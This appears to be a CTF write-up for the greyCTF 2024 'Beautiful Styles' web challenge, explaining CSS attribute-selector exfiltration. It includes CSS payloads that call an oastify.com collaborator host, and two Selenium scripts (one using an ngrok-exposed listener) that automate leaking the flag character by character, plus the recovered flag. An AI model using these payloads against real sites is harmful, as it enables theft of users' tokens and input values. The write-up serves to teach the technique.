Home Beautiful Styles
Post
Cancel
Preview Image

Beautiful Styles

Challenge Description

I opened a contest to see who could create the most beautiful CSS styles. Feel free to submit your CSS styles to me and I will add them to my website to judge them. I’ll even give you a sample of my site to get you started. Flag only consists of numbers and uppercase letters and the lowercase character f (the exception is the flag format of grey{.+})

Source Code Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>My Beautiful Site</title>
    <link
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
      rel="stylesheet"
      integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
      crossorigin="anonymous"
    />
    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div>
    <div class="container mt-4">
      <form action="/judge/{{submit_id}}" method="post">
        <input type="submit" value="Submit for judging">
      </form>
    </div>
    <script
      src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
      integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
      crossorigin="anonymous"
    ></script>
  </body>
</html>

Vulnerability Details: Refer to this

  • Based on the challenge description, it is hinted that CSS exfiltration is possible, and we know the possible characters the flag contains.
  • The flag is generated by a template engine, can be seen from {{ }}
  • CSS exfiltration works by loading a background image from an external site when a specific variable value exists.”
1
2
3
4
input[value^="a"] {  
  color:red;  
  background:url(http://w52oa1fs4nbggxqy4mw7ydb15sbjz9ny.oastify.com)
}

For example, if the input element has a value that begins with a, the element will be red and the background image will be loaded, which will make a request to our burp collaborator

Solution

  • Payload
    1
    2
    3
    4
    
      input[value^="grey{"] {  
        color:red;  
        background:url(http://w52oa1fs4nbggxqy4mw7ydb15sbjz9ny.oastify.com)
      }
    

    Iterate through all uppercase letters + f and numbers

Manual

Semi-Auto Script

  1. Install requirements
    1
    2
    
     ┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Beautiful Styles]
     └─$ pip3 install selenium pyngrok
    
  2. Run script
    1
    2
    
     ┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Beautiful Styles]
     └─$ python3 semi_auto.py
    
  3. Demo

Script

  1. Install geckdriverReleases · mozilla/geckodriver
  2. Install requirements
    1
    2
    
     ┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Beautiful Styles]
     └─$ pip3 install selenium pyngrok
    
  3. Run script
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     ./geckodriver &
    	
     ┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Beautiful Styles]
     └─$ export NGROK_AUTHTOKEN=x
    	
     ┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Beautiful Styles]
     └─$ python3 auto.py
    	
     Flag: grey{X5S34RCH1fY0UC4NF1ND1T}	
    
  4. Demo

Code

Semi Auto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3
# Remember to start geckodriver first /root/boxes/test/browser_automation/geckodriver &
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
import sys
import string

def main():
    valid_chars = string.ascii_uppercase + string.digits + 'f'
    # Set the path to the location of geckodriver
    gecko_path = '/root/boxes/test/browser_automation/geckodriver'

    # Create FirefoxOptions and set the executable path
    firefox_options = Options()
    firefox_options.binary_location = gecko_path

    # Create a Firefox WebDriver instance
    driver = webdriver.Firefox(options=firefox_options)


    found = "grey{"
    while 1:
        for char in valid_chars:
            driver.get('http://challs.nusgreyhats.org:33339/')

            input_element = driver.find_element(By.ID, "css-submit")
            input_element.send_keys(f'input[value^="{found}{char}"] {{ color: red; background: url(http://g5m8alfc47b0ghqi46wryxbl5cb3zxzlo.oastify.com/{char}); }}')


            submit_button = WebDriverWait(driver, 10).until(
                EC.presence_of_element_located((By.XPATH, "//button[@type='submit']"))
            )
            submit_button.click()

            # Wait for the new page or elements to load
            WebDriverWait(driver, 10).until(
                EC.presence_of_element_located((By.XPATH, "//input[@type='submit']"))
            )

            # Refind the button in the new page context
            submit_button2 = driver.find_element(By.XPATH, "//input[@type='submit']")
            submit_button2.click()
            print(f"Char: {char}")
        found_char = input("Enter found char: ")
        if found_char == "":
            break
        found += found_char
    print(f"Flag: {found}")


    # Close the browser


if __name__ == '__main__':
    main()

Auto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
# Remember to start geckodriver first /root/boxes/test/browser_automation/geckodriver &
import re
import threading
import string
import queue
import os
from http.server import HTTPServer, BaseHTTPRequestHandler

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from pyngrok import ngrok

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        data_queue.put(self.path)
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b"Received")
    
    def log_message(self, format, *args):
        return

class Listener():
    def __init__(self, port):
        self.server = HTTPServer(("0.0.0.0", port), RequestHandler)

    def start_listener(self):
        self.server.serve_forever()

    def stop_listener(self):
        self.server.shutdown()

def extract_query_params(query_string):
    pattern = re.compile(r'data=([^&=?]+)')
    match = pattern.search(query_string)
    if match:
        return match.group(1)
    else:
        return None 

def get_data(timeout=5):
    try:
        data = data_queue.get(timeout=timeout)
        value = extract_query_params(data)
        return value
    except queue.Empty:
        return None

data_queue = queue.Queue()

def main():
    valid_chars = string.ascii_uppercase + string.digits + 'f'
    gecko_path = '/root/boxes/test/browser_automation/geckodriver'

    # Create FirefoxOptions and set the executable path
    firefox_options = Options()
    firefox_options.binary_location = gecko_path
    driver = webdriver.Firefox(options=firefox_options)    

    listener = Listener(1337)
    listener_thread = threading.Thread(target=listener.start_listener, daemon=True)
    listener_thread.start() 

    start_ngrok = ngrok.connect(1337, "tcp")
    url = start_ngrok.public_url.replace("tcp://", "http://")
    ngrok.set_auth_token(os.getenv("NGROK_AUTHTOKEN"))
    

    found = "grey{"
    while 1:
        for char in valid_chars:
            driver.get('http://challs.nusgreyhats.org:33339/')

            input_element = driver.find_element(By.ID, "css-submit")
            input_element.send_keys(f'input[value^="{found}{char}"] {{ color: red; background: url({url}/?data={char}); }}')


            submit_button = WebDriverWait(driver, 10).until(
                EC.presence_of_element_located((By.XPATH, "//button[@type='submit']"))
            )
            submit_button.click()

            # Wait for the new page or elements to load
            WebDriverWait(driver, 10).until(
                EC.presence_of_element_located((By.XPATH, "//input[@type='submit']"))
            )

            # Refind the button in the new page context
            submit_button2 = driver.find_element(By.XPATH, "//input[@type='submit']")
            submit_button2.click()
            print(f"Building Flag: {found}{char}", end='\r', flush=True)
        found_char = get_data()
        if found_char:
            found += found_char
        else:
            found += '}'
            break
    print(" " * 150, end='\r')
    print(f"Flag: {found}")

    listener.stop_listener()
    listener_thread.join()
    ngrok.disconnect(start_ngrok.public_url)

if __name__ == '__main__':
    main()

This post is licensed under CC BY 4.0 by the author.

Markdown Parser

-

Comments powered by Disqus.